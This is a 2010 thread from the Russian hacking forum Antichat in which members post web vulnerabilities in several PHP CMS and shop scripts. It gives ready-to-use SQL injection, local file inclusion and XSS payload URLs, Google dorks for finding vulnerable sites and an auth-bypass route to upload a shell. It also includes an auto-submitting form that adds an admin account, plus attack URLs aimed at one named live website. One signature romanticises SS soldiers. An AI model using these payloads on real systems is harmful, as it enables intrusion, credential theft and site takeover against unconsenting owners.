HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 03.01.2010, 02:15
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Маленькая зарисовочка.

Product: weEdition
Version: 6.0.0.7
Author: http://www.webedition.de/

Код:
Lfi:

        Need: register_globals = on

	File: /we/include/we_html_tools.inc.php
	Target: ?WE_LANGUAGE=../../{LOCAL_FILE}%00

	File: /delInfo.php
	Target: ?WE_LANGUAGE={LOCAL_FILE}%00

	File: /moveInfo.php
	Target: ?WE_LANGUAGE={LOCAL_FILE}%00
	
	File: /noAviable.php
	Target: ?WE_LANGUAGE={LOCAL_FILE}%00

	File: /noExist.php
	Target: ?WE_LANGUAGE={LOCAL_FILE}%00

	File: /notPublished.php
	Target: ?WE_LANGUAGE={LOCAL_FILE}%00

Full Path Disclosing:

	File: mozillamenu.php
	Target: Enter you browser: /mozillamenu.php
	
	
Phpinfo()
	File: phpino.php
	Target: You logining, end enter you browser: phpinfo.php
Без кода,если смогу - завтра выложу.
 
Ответить с цитированием

  #2  
Старый 05.01.2010, 00:06
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Clean Nuke 1.1


Продукт: Clean Nuke
Версия: 1.1
Автор: matteoiamma (phpnuke.org)
Скачать: http://sourceforge.net/projects/cleanuke/

Local File Include

Условия:
  1. Права администратора.

Уязвимая часть кода:
Сначала переменная $xlanguage заносится в БД в скрипте
Код:
/admin/modules/settings.php
PHP код:
...
$xlanguage addslashes(check_words(check_html($xlanguage"nohtml")));
...
    
$db->sql_query("UPDATE ".$prefix."_config SET ... language='$xlanguage' ...");
... 
Далее, из БД достается значение файла языка, и почти без всяческой фильтрации оно инклудится в файле:
Код:
/mainfile.php
PHP код:
$result $db->sql_query("SELECT * FROM ".$prefix."_config");
...
$language check_html($row['language'], "nohtml");
...
include_once(
"language/lang-".$language.".php"); 
PS: Функция check_html проверяет наличие HTML-кода в переменной, и она нам не страшна.

Эксплуатация:
В панели администратора, в модуле конфигурации (admin.php?op=Configure) изменяем исходный код страницы, вместо
Код:
<option name='xlanguage' value='english' >
вписываем любой файл, например
Код:
<option name='xlanguage' value='english/../../index' >
Кроме этого, если есть права на сервере (н.п. один и тот же хостинг), можно записать файл в папку /tmp, и проинклудить его.
SQL - Инъекция

Условия:
  1. magic_quotes = Off

Уязвимая часть кода:
Код:
/page.php
PHP код:
if (isset($_GET['pid'])){
$content_sql $db->sql_query("SELECT * FROM ".$prefix."_pages WHERE active = '1' AND pid = '".$_GET['pid']."'");

Эксплуатация:
Код:
http://site.ru/cleanuke/page.php?pid=1'+union+select+1,2,3,4,5%23
SQL - Инъекция

Условия:
  1. Права администратора.
  2. magic_quotes = Off

Уязвимая часть кода:
Код:
/admin/modules/authors.php
PHP код:
function modifyadmin($chng_aid) {
...
    
$row $db->sql_fetchrow($db->sql_query("SELECT aid, name, url, email, pwd, radminsuper, admlanguage from " $prefix "_authors where aid='$chng_aid'"));
... 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=modifyadmin&chng_aid=-1'+union+select+1,concat_ws(0x3a,user(),database(),version()),3,4,5,6,7%23
SQL - Инъекция

Условия:
  1. Права администратора.
  2. magic_quotes = Off

Уязвимая часть кода:
Код:
/modules/News/admin/index.php
PHP код:
function editStory($sid) {
...
    
$result2 $db->sql_query("select aid from ".$prefix."_stories where sid='$sid'");
... 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=EditStory&sid=-1'+union+select+1,2,3,4,5,6,7,8,9%23
SQL - Инъекция

Условия:
  1. Права администратора.
  2. magic_quotes = Off

Уязвимая часть кода:
Код:
/admin/modules/content.php
PHP код:
if (isset($_POST['pid'])){
$pid=$_POST['pid'];
} elseif (isset(
$_GET['pid_mod'])){
$pid=$_GET['pid_mod'];
}
$sel_page=$db->sql_query("SELECT * FROM ".$prefix."_pages WHERE pid = '$pid'"); 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=content&pid_mod=-1'+union+select+1,2,3,4,5%23
SQL - Инъекция

Условия:
  1. Права администратора.

Уязвимая часть кода:
Код:
/admin/modules/feedbackplus.php
Код:
Line 119:
PHP код:
function editfeedback($fid) {
...
$result sql_query("SELECT * FROM $prefix"._feedbackplus." WHERE fid=$fid"$dbi);
... 
Эксплуатация:
Код:
http://site.ru/cleanuke/admin.php?op=editfeedback&lid=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12
Дорк
Хотя название движка - Clean Nuke, дорк такой:
Код:
"Powered by WL-Nuke"

Последний раз редактировалось mailbrush; 07.01.2010 в 12:47..
 
Ответить с цитированием

  #3  
Старый 07.01.2010, 14:14
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Shop-Script FREE


Продукт: Shop-Script FREE
Оффсайт: http://shop-script.ru
Скачать: http://www.shop-script.ru/shop-script-free/ru/shop-script-free.zip

Blind SQL-Инъекция

Условия:
  1. magic_quotes = Off

Уязвимая часть кода:
Код:
/shop/includes/shopping_cart.php
PHP код:
            $q db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'") or die (db_error() .  "<br>select in_stock from ".PRODUCTS_TABLE." where productID='".$_GET["add2cart"]."'");
            
$is db_fetch_row($q); $is $is[0];

            
//$_SESSION[gids] contains product IDs
            //$_SESSION[counts] contains product quantities ($_SESSION[counts][$i] corresponds to $_SESSION[gids][$i])
            //$_SESSION[gids][$i] == 0 means $i-element is 'empty'
            
if (!isset($_SESSION["gids"]))
            {
                
$_SESSION["gids"] = array();
                
$_SESSION["counts"] = array();
            }
            
//check for current item in the current shopping cart content
            
$i=0;
            while (
$i<count($_SESSION["gids"]) && $_SESSION["gids"][$i] != $_GET["add2cart"]) $i++;
            if (
$i count($_SESSION["gids"])) //increase current product's quantity
            
{
                
$_SESSION["counts"][$i]++;
            }
            else 
//no item - add it to $gids array
            
{
                
$_SESSION["gids"][] = $_GET["add2cart"];
                
$_SESSION["counts"][] = 1;
            }

            
header("Location: index.php?shopping_cart=yes");

        }


        if (isset(
$_GET["remove"]) && $_GET["remove"] > 0//remove from cart product with productID == $remove
        
{
            
$i=0;
            while (
$i<count($_SESSION["gids"]) && $_SESSION["gids"][$i] != $_GET["remove"]) $i++;
            if (
$i<count($_SESSION["gids"])) $_SESSION["gids"][$i] = 0;

            
header("Location: index.php?shopping_cart=yes");
        }


        if (isset(
$_POST["update"])) //update shopping cart content
        
{

            foreach (
$_POST as $key => $val)
                if (
strstr($key"count_"))
                {
                  
//select product's in stock level
                  
$q db_query("select in_stock from ".PRODUCTS_TABLE." where productID='".str_replace("count_","",$key)."'") or die (db_error() );
                  
$is db_fetch_row($q); $is $is[0];

                    if (
$val 0)
                    {
                        for (
$i=0$i<count($_SESSION["gids"]); $i++)
                        {
                            if (
$_SESSION["gids"][$i] == str_replace("count_","",$key))
                            {
                                
$_SESSION["counts"][$i] = floor($val);
                            }
                        }
                    }
                    else 
//remove
                    
{
                        
$i=0;
                        while (
$_SESSION["gids"][$i] != str_replace("count_","",$key) && $i<count($_SESSION["gids"])) $i++;
                        
$_SESSION["gids"][$i] = 0;
                    }
                  } 
Эксплуатация:
Код:
http://site.ru/shop/index.php?shopping_cart=yes&add2cart=72'+and+substring(@@version,1,1)=5%23
SQL-Инъекция

Условия:
  1. magic_quotes = Off
  2. Права администратора

Уязвимая часть кода:
Код:
/products.php
PHP код:
$q db_query("SELECT categoryID, name, description, customers_rating, Price, picture, in_stock, thumbnail, big_picture, brief_description, list_price, product_code FROM ".PRODUCTS_TABLE." WHERE productID='".$_GET."'") or die (db_error()); 
Эксплуатация:
Код:
http://site.ru/shop/products.php?productID=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12%23
Blind SQL-Инъекция

Условия:
  1. magic_quotes = Off
  2. Права администратора

Уязвимая часть кода:
Код:
/shop/includes/admin/sub/catalog_products_categories.php
PHP код:
            $categoryID = isset($_GET["categoryID"]) ? $_GET["categoryID"] : $_POST["categoryID"];
            
$q db_query("SELECT name FROM ".CATEGORIES_TABLE." WHERE categoryID<>0 and categoryID='$categoryID'") or die (db_error());
            
$row db_fetch_row($q); 
Эксплуатация:
Код:
http://site.ru/shop/admin.php?dpt=catalog&sub=products_categories&categoryID=1'+and+substring(@@version,1,1)=5%23
SQL-Инъекция

Условия:
  1. magic_quotes = Off
  2. Права администратора

Уязвимая часть кода:
Код:
/category.php
PHP код:
            $q db_query("SELECT name, description, picture FROM ".CATEGORIES_TABLE." WHERE categoryID='".$_GET."' and categoryID<>0") or die (db_error()); 
Эксплуатация:
Код:
http://localhost/bug/shop/category.php?c_id=-1'+union+select+1,2,3%23&w=23
Дорк:
Код:
"Powered by Shop-Script FREE"

Последний раз редактировалось mailbrush; 07.01.2010 в 15:13..
 
Ответить с цитированием

  #4  
Старый 08.01.2010, 21:30
HAXTA4OK
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами: 9030566

Репутация: 2017


По умолчанию

Просто гугл выдал кучу таких сайтов

CubeCart™

Расскрытие путей
http://../modules/gateway/
ибо в этой папке есть файл Index.php а в нем
PHP код:
$module "gateway";
include(
"../index.php");
?> 
а в modules/ нету файла Index.php bgg =)

Dopk :
Цитата:
Powered by CubeCart™
__________________
В сырых могилах Второй Мировой
Солдатам снятся цветные сны.
Их кости порой видны под первой травой,
Когда сойдет снег в начале весны.
Славяне тоже сражались в отрядах СС
За чистоту арийской крови.
Теперь они дремлют за чертою небес,
Но снова встанут на бой, лишь позови.
 
Ответить с цитированием

  #5  
Старый 10.01.2010, 14:42
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию

chinmaya.org

ViewSource
downloadfile.php
PHP код:
<?

$filename 
$filename;
$ext substr(strrchr($filename"."), 1);

$bytes filesize("downloadfile/$filename");
header("Content-type: application/$ext");
header("Content-disposition: attachment; filename=\"$filename\"");
header("Content-length: $bytes");
@
readfile("downloadfile/$filename");
?>
http://www.chinmaya.org/downloadfile.php?filename=../../../../../../../../../../etc/passwd%00


php.ini
magic_quotes_gpc = Off
register_globals = On


SQL

news_detail.php
PHP код:
$sqlnews "select * from newsmaster where newsid='$nid'"
http://www.chinmaya.org/news_detail.php?nid=-123'+union+select+1,2,3,4,5,6,7,8,9,10,11,concat_w s(0x203a20,version(),user(),database()),13,14,15+--+


acharya.php
PHP код:
$sqlach "select * from acharyamaster where acharyaid='$id'"
http://www.chinmaya.org/acharya.php?id=12'+order+by+100+--+


events_detail.php
PHP код:
$sqlevents "select * from eventsmaster where eventid='$eid'"
http://www.chinmaya.org/events_detail.php?eid=342'+order+by+100+--+
 
Ответить с цитированием

  #6  
Старый 10.01.2010, 16:34
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию

OwnRS
http://sourceforge.net/projects/ownrs/

index.php
PHP код:
$hledany_vyraz $_GET["hledej"];
...
if(
$hledany_vyraz!="")
    
$pocet=MySQL_Query("SELECT count(id) FROM ".$db_prefix."clanky WHERE (nepublikovat = 0) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('
$hledany_vyraz')
OR MATCH(clanek) AGAINST('
$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('
$hledany_vyraz')
+ MATCH(popis) AGAINST('
$hledany_vyraz')
+ MATCH(clanek) AGAINST ('
$hledany_vyraz'))");

...
if(
$hledany_vyraz!=""){
    
$vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat` from ".$db_prefix."clanky  WHERE (nepublikovat = 0) AND (datum<now()) AND (datum<now()) AND MATCH(nadpis) AGAINST('$hledany_vyraz')
OR MATCH(popis) AGAINST('
$hledany_vyraz')
OR MATCH(clanek) AGAINST('
$hledany_vyraz')
ORDER BY (10 * MATCH(nadpis) AGAINST('
$hledany_vyraz')
+ MATCH(popis) AGAINST('
$hledany_vyraz')
+ MATCH(clanek) AGAINST ('
$hledany_vyraz')) LIMIT $strana$max") or die ("Chyba pшi prбci s databбzн");


    
$Obsah '<h1>Vyhledбvбnн vэrazu '.$hledany_vyraz.'</h1>
    <strong> Pro vэraz '
.$hledany_vyraz.' nalezeny tyto zбznamy: </strong><br />';
    
$TitleWebu 'Vyhledбvбnн vэrazu '.$hledany_vyraz.' - '.$TitleWebu;
}
$x=0;
//Sosбm data z databбze
while ($zaznam=MySQL_Fetch_Array($vysledek)) {
        
$zobrazeni $zaznam['hint'];
        
$nadpis_bez_diakritiky seourl($zaznam['nadpis']);
        
//Jakou verzi odkazщ vybrat?
        
if($pekna_url != 0){
        
$odkaz $zaznam["id"].'-'.$nadpis_bez_diakritiky.'.html';
        }else{
        
$odkaz 'clanek.php?id='.$zaznam["id"].'-'.$nadpis_bez_diakritiky;
        }
        
$id2 $zaznam['kategorie'];
        
$casformat $zaznam["casformat"];
        
$autor $zaznam['autor'];
        
$jmeno_autoramysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");
        while(
$zaznam_autor mysql_fetch_array($jmeno_autora)){
        
$nazev_autora $zaznam_autor['nick'];
        
//poинtбnн poиtu komentбшщ a nбslednэ vэpis slova v rщznйm pбdм podle poиtu
        
$dotaz "SELECT count(id) AS pocet FROM  ".$db_prefix."komentare  WHERE idclanku ='".$zaznam["id"]."'"
        if(
$v mysql_query($dotaz)) {
              
$r mysql_fetch_assoc($v);
              
$komentare=$r["pocet"];
        }else{echo 
"Chyba pшi prбci s databбzн";}
        
        if(
$komentare!=0){
            if(
$komentare<2)
                
$komentare_vypis '<a href="'.$odkaz.'#komentare">1 komentбш</a>';
            else if((
$komentare<5)&&($komentare>1))
                
$komentare_vypis '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшe</a>';
            else if(
$komentare>4)
                
$komentare_vypis '<a href="'.$odkaz.'#komentare">'.$komentare.' komentбшщ</a>';
        }else
            
$komentare_vypis '<a href="'.$odkaz.'#komentare">Rбdnэ komentбш</a>';

//Zji№>ovбnн nбzvu kategorie a pшezdнvky autora
        
$nazev_kategorie mysql_query("SELECT nazev FROM ".$db_prefix."kategorie WHERE id = '".$id2."'");
        while (
$udaj mysql_fetch_array($nazev_kategorie)) 
            
$jmeno_kategorie $udaj['nazev']; 
уязвим параметр $hledany_vyraz = $_GET["hledej"];

Passive XSS
http://localhost/Own_rs/index.php?hledej=1%3Cscript%3Ealert(121212)%3C/script%3E

SQL
mq=off

http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,17,18,19,110,111,112;%00+--+

Запрос $vysledek=mysql_query("SELECT *, DATE_FORMAT(`datum`, '%d.%m.%Y') AS `casformat ...
записан в несколько строк, поэтому комментарии вида +--+ дают ошибку,
ставим более жесткий терминатор ;%00+--+.

Сработал $vysledek=mysql_query("SELECT ...
но это Blind SQL, попробуем получить вывод.

$autor = $zaznam['autor'];
$jmeno_autora= mysql_query("SELECT nick FROM ".$db_prefix."autori WHERE id = '".$autor."'");

$zaznam['autor'] берется из запроса $vysledek (поле с числом 17), сформируем иньекцию.

http://localhost/Own_rs/index.php?hledej=')+union+select+11,12,13,14,15,16 ,%2217'+or+1=1+limit+0,1+--+%22,18,19,110,111,112;%00+--+

появился вывод в полях 12, 13, 112

http://localhost/Own_rs/index.php?hledej=')+union+select+11,version(),conc at_ws(0x203a20,jmeno,heslo,prava),14,15,16,%2217'+ or+1=1+limit+0,1+--+%22,18,19,110,111,database()+from+ownrs_autori;%0 0+--+
 
Ответить с цитированием

  #7  
Старый 11.01.2010, 00:19
Twin $park
Новичок
Регистрация: 15.11.2009
Сообщений: 8
С нами: 8677322

Репутация: 79
По умолчанию

Corporate Merchandise Solution

скрипт коммерческий,однако cms фактически не являеться

Blind SQL inj

пример:

Цитата:
http://demo.mycorporatestores.com/catalog.php?categoryID=31+and+substring(@@version, 1,1)=3
WR-Board
v 1.5>

XSS

Цитата:
index.php?fid=XSS&id=
(с) Twin $park

Последний раз редактировалось Twin $park; 11.01.2010 в 00:21..
 
Ответить с цитированием

  #8  
Старый 18.01.2010, 01:40
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию

cms pragmaMx 0.1.11
http://www.pragmamx.org/Downloads-op-view-lid-731.html

dork: "This Website based on pragmaMx"

Passive XSS
уязвимы параметры newlang, name, op, query, show_all,orderby, min, cid, id
http://localhost/html/index.php?newlang=1>"><script>alert(121212);</script>
http://localhost/html/index.php?newlang=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=1>"><script>alert(121212)%3B</script>
http://localhost/html/modules.php?name=nnn&newlang=1>"><script>alert(121 212)%3B</script>
http://localhost/html/modules.php?name=nnn&op=NewLinks&query=1>"><script >alert(121221)%3B</script>&min=0&orderby=dateD
http://localhost/html/modules.php?name=nnn&show_all=1>"><script>alert(12 1212)%3B</script>
http://localhost/html/modules.php?name=nnn&op=AddEntry&query=111&min=0&o rderby=1%22'%3E%3Cscript%3Ealert(121212)%3B%3C/script%3E
http://localhost/html/modules.php?name=nnnt&min=1%3E%22%3E%3Cscript%3Eal ert(121212)%3B%3C/script%3E&orderby=dateD&cid=0
http://localhost/html/modules.php?name=nnn&rop=showcontent&id=1%3E%22%3E %3Cscript%3Ealert(121212)%3B%3C/script%3E

SQL
права админа

admin/modules/banners.php
PHP код:
function bannerdelete($bid$ok 0)
{
    global 
$prefix$bgcolor2$bgcolor3$script;
    if (!empty(
$ok)) {
        if (
$ok == 1) {
        }
        
sql_query("delete from " $prefix "_banner where bid='$bid'");
        
header("Location: admin.php?op=banneradmin#top");
    } else {
        include(
"header.php");
        
GraphicAdmin();
        
OpenTable();
        echo 
"<center><font class=\"title\"><b>" _BANNERSADMIN "</b></font><br /><br />";
        echo 
"<a href=\"admin.php?op=banneradmin\">" _BACKTO " " _ADMINMENU "</a></center>";
        
CloseTable();
        echo 
'<br />';
        
$result sql_query("select bid,imptotal,impmade,clicks,imageurl,clickurl,alttext,script,active,typ from " $prefix "_banner where bid=$bid");
        list(
$bid$imptotal$impmade$clicks$imageurl$clickurl$alttext$script$active$typ) = sql_fetch_row($result); 
http://localhost/html/admin.php?op=bannerdelete&bid=-1+union+select+1,version(),3,4,5,6,7,8,9,10+--+&ok=0



PHP код:
function banneredit($bid)
{
    global 
$prefix;
    include(
"header.php");
    
GraphicAdmin();
    
OpenTable();
    echo 
"<center><font class=\"title\"><b>" _BANNERSADMIN "</b></font><br /><br />";
    echo 
"<a href=\"admin.php?op=banneradmin\">" _BACKTO " " _ADMINMENU "</a></center>";
    
CloseTable();
    echo 
'<br />';
    
$result sql_query("select cid, imptotal, impmade, clicks, imageurl, clickurl, alttext, script, typ, active from " $prefix "_banner where bid=$bid"); 
http://localhost/html/admin.php?op=banneredit&bid=-1+union+select+1,2,3,4,version(),6,7,8,9,10+--+&ok=0



PHP код:
function bannerclientdelete($cid$ok 0)
{
    global 
$prefix$bid$cid$impmade$clicks$imageurl$alttext$bdate$typ$script;
    if (!empty(
$ok)) {
        if (
$ok == 1) {
            
sql_query("delete from " $prefix "_banner where cid='$cid'");
            
sql_query("delete from " $prefix "_bannerclient where cid='$cid'");
        }
        
header("Location: admin.php?op=banneradmin#top");
    } else {
        include(
"header.php");
        
GraphicAdmin();
        
OpenTable();
        echo 
"<center><font class=\"title\"><b>" _BANNERSADMIN "</b></font><br /><br />";
        echo 
"<a href=\"admin.php?op=banneradmin\">" _BACKTO " " _ADMINMENU "</a></center>";
        
CloseTable();
        echo 
'<br />';
        
OpenTableAl();
        
$result2 sql_query("select bid,cid,impmade,clicks,imageurl,clickurl,alttext,datestart,typ,script from " $prefix "_banner where cid=$cid"); 
http://localhost/html/admin.php?op=bannerclientdelete&cid=-1+union+select+1,2,3,4,5,6,7,8,9,version()+--+



PHP код:
function bannerclientedit($cid)
{
    global 
$prefix;
    include(
"header.php");
    
GraphicAdmin();
    
OpenTable();
    echo 
"<div align=\"center\"><font class=\"title\"><b>" _BANNERSADMIN "</b></font><br /><br />";
    echo 
"<a href=\"admin.php?op=banneradmin\">" _BACKTO " " _ADMINMENU "</a></div>";
    
CloseTable();
    echo 
'<br />';
    
$result sql_query("select name, contact, email, login, passwd, extrainfo from " $prefix "_bannerclient where cid=$cid");
    list(
$name$contact$email$login$passwd$extrainfo) = sql_fetch_row($result); 
http://localhost/html/admin.php?op=bannerclientedit&cid=-1+union+select+1,version(),3,4,5,6+--+


==================


Обновилась версия CMS до
PragmaMX 0.1.12

В ней добавлен новый модуль - osc2pragmaMX, это уже известная osCommerce Online Merchant v2.2 RC2a.
Соответсвенно появилаь уязвимость:

catalog/admin/includes/application_top.php
PHP код:
...
// redirect to login page if administrator is not yet logged in
  
if (!tep_session_is_registered('admin')) {
    if (isset(
$_COOKIE['admin'])){
      
$bridge_admin $_COOKIE['admin'];
      
$bridge_admin_login false;
      if (!
is_array($bridge_admin)) {
          
$bridge_admin base64_decode($bridge_admin);
          
$bridge_admin addslashes($bridge_admin);
          
$bridge_admin explode(":"$bridge_admin);
      }
      
$bridge_adminid $bridge_admin[0];
      
$bridge_adminpwd $bridge_admin[1];
      
$bridge_adminid substr(addslashes($bridge_adminid), 025);
      if (!empty(
$bridge_adminid) && !empty($bridge_adminpwd)) {
        
$sql "SELECT pwd FROM ".$prefix."_authors WHERE aid='$bridge_adminid'";
        
$result tep_db_query($sql);
        
$pass tep_db_fetch_array($result);
        
        if (
$pass['pwd'] == $bridge_adminpwd && !empty($pass['pwd'])){
            
tep_session_register('admin');
        }
      }
    }else{
    
$redirect false;

    
$current_page basename($PHP_SELF);

    if (
$current_page != FILENAME_LOGIN) {
      if (!
tep_session_is_registered('redirect_origin')) {
        
tep_session_register('redirect_origin');

        
$redirect_origin = array('page' => $current_page,
                                 
'get' => $HTTP_GET_VARS);
      }

      
$redirect true;
    }

    if (
$redirect == true) {
      
tep_redirect(tep_href_link(FILENAME_LOGIN));
    }

    unset(
$redirect);
   } 
уязвимость находится в строках
PHP код:
   $current_page basename($PHP_SELF);

    if (
$current_page != FILENAME_LOGIN) { 
С точки зрения обычного (если он не посещает antichat.ru) программиста это безупречная проверка, но конструкция
admin/any_file.php/login.php проходит эту проверку, а на выполнение подается any_file.php.

Заливка шелла

запускаем файловый менеджер
http://demo.osc2pragmamx.org/modules/catalog/admin/file_manager.php/login.php

не забываем добавлять к УРЛу login.php

новый файл
http://demo.osc2pragmamx.org/modules/catalog/admin/file_manager.php/login.php?action=new_file


Добавляем себя в админы.

AddAdm.html
PHP код:
<form method="post" action="http://demo.osc2pragmamx.org/modules/catalog/admin/administrators.php/login.php?action=insert">
<
input type=hidden name="username" value="as" />
<
input type=hidden name="password" value="123123" />
<
input type=hidden name="x" value="16" />
<
input type=hidden name="y" value="13" />
</
form>
<
script>document.getElementsByTagName("form")[0].submit();</script
Уязвимость работает, даже если модуль не подключен, поскольку для запуска используем не CMS,
а путь до скрипта http:/site.com/path_cms/modules/catalog/admin/any_file.php

Последний раз редактировалось nikp; 19.01.2010 в 13:20..
 
Ответить с цитированием

  #9  
Старый 20.01.2010, 14:33
v1d0qz
Познающий
Регистрация: 21.07.2007
Сообщений: 68
С нами: 9898501

Репутация: 257
По умолчанию

Дабы не копировать по 5 раз. Лучше дам просто ссылку на пост, надеюсь так можно. Там 1 движок News Edit, а второй что-то похожее на движек, просто компания делает сайты все как один, потому это тоже можно назвать движком
http://forum.antichat.ru/threadedpost1839460.html#post1839460

Последний раз редактировалось v1d0qz; 23.01.2010 в 05:13..
 
Ответить с цитированием

  #10  
Старый 21.01.2010, 21:01
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию

cms awcm v2_1 final
http://sourceforge.net/projects/awcm/

header.php
PHP код:
if(isset($_GET['id'])) {
$gid $_GET['id'];
if(!
is_numeric($gid) OR $gid == "") { exit; }
}
if(isset(
$_GET['pm'])) {
$gpm $_GET['pm'];
if(
eregi("'",$gpm) OR eregi("SELECT",$gpm) OR eregi("union",$gpm) OR eregi("delete",$gpm) OR eregi("table",$gpm) OR eregi("member",$gpm) OR eregi("update",$gpm) OR eregi('admin',$gpm) OR $gpm == "") { exit; }
}
if(isset(
$_GET['search'])) {
$gsearch $_GET['search'];
if(
eregi("'",$gsearch)) { exit; }
}

....

if(isset(
$_COOKIE['awcm_theme'])) {
    
$theme_file $_COOKIE['awcm_theme'];
} else {
    
$theme_file $mysql_maininfo_row['defult_theme'];
}

if(isset(
$_COOKIE['awcm_lang'])) {
    
$lang_file $_COOKIE['awcm_lang'];
} else {
    
$lang_file $mysql_maininfo_row['defult_language'];
}
@include (
"themes/$theme_file/settings.php");
include (
"common.php");

@include (
"languages/$lang_file");

$member_cok $_COOKIE['awcm_member']-197;
if(isset(
$_SESSION['awcm_member'])) {
    
$member $_SESSION['awcm_member'];
} elseif (isset(
$_COOKIE['awcm_member'])) {
    
$mysql_checkdookie51_member_query mysql_query("SELECT password,id FROM awcm_members WHERE id = '$member_cok'");
    
$mysql_checkdookie51_member_row   mysql_fetch_array($mysql_checkdookie51_member_query);
    
$mysql_checkdookie51_member_total mysql_num_rows($mysql_checkdookie51_member_query);
    if (
$mysql_checkdookie51_member_total 0) {
        
$member $mysql_checkdookie51_member_row['id'];
        
$_SESSION['awcm_member'] = $mysql_checkdookie51_member_row['id'];
    }
} else {
    
$member 'no';

LFI
mq=off
http://localhost/awcm/header.php
cookies
awcm_theme=../../../../../../../../etc/passwd%00

LFI
http://localhost/awcm/header.php
cookies
awcm_lang=../../../../../../../../etc/passwd

Заходим админом
http://localhost/awcm/index.php
cookies
awcm_member=198

-----------------------
include/avatar.php
PHP код:
include ("../connect.php");
$gh $_GET['h'];
$gw $_GET['w'];
$gid $_GET['id'];
$mysql_query mysql_query("SELECT id,avatar FROM awcm_members WHERE id = '$gid'");
$mysql_total mysql_num_rows($mysql_query);
$mysql_row   mysql_fetch_array($mysql_query);

if(
$mysql_total == 1) {
    if(
$mysql_row['avatar'] == "") {
    print 
'<img src="../images/no_avatar.jpg"  height="'.$gh.'" width="'.$gw.'" />';
    } else {
    print 
'<img src="'.$mysql_row['avatar'].'" height="'.$gh.'" width="'.$gw.'" />';
    }
} else {
    print 
'<img src="../images/no_avatar.jpg"  height="'.$gh.'" width="'.$gw.'" />';

Passive XSS
mq=off
http://localhost/awcm/includes/avatar.php?h=1>"><SCRiPt>alert(1212);</SCRiPt>
http://localhost/awcm/includes/avatar.php?w=1>"><SCRiPt>alert(1212);</SCRiPt>

SQL
mq=off
http://localhost/awcm/includes/avatar.php?id=1'+and+1=2+union+select+1,version()+--+

-----------------------
includes/show_vid_title.php
PHP код:
include ("../connect.php");
$gid $_GET['id'];
$mysql_show_vid_title_php_query mysql_query("SELECT id,title FROM awcm_videos_videos WHERE id = '$gid'");
$mysql_show_vid_title_php_row   mysql_fetch_array($mysql_show_vid_title_php_query);

print 
$mysql_show_vid_title_php_row['title']; 
SQL
mq=off
http://localhost/awcm/includes/show_vid_title.php?id=-1'+union+select+1,version()+--+

===============
RulleR
Цитата:
а через параметры 'pm' и 'search' нельзя провести инъекцию? вижу функцию eregi(), а она воспринимает null byte за конец строки...
можно
member_cp_pm.php
PHP код:
include ("header.php");
...
if(isset(
$_GET['pm'])) {
$mysql_mmbrcppmviewpmpg_query mysql_query("SELECT * FROM awcm_member_pms WHERE hash = '$_GET[pm]' AND reciever = '$member' OR hash = '$_GET[pm]' AND sender = '$member'"); 
SQL
mq=off
http://localhost/awcm/member_cp_pm.php?pm=%00'+union+select+1,2,3,versio n(),5,6,7;+--+

Последний раз редактировалось nikp; 21.01.2010 в 22:28..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Библиотека SladerNon Болталка 17 05.02.2007 23:30



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.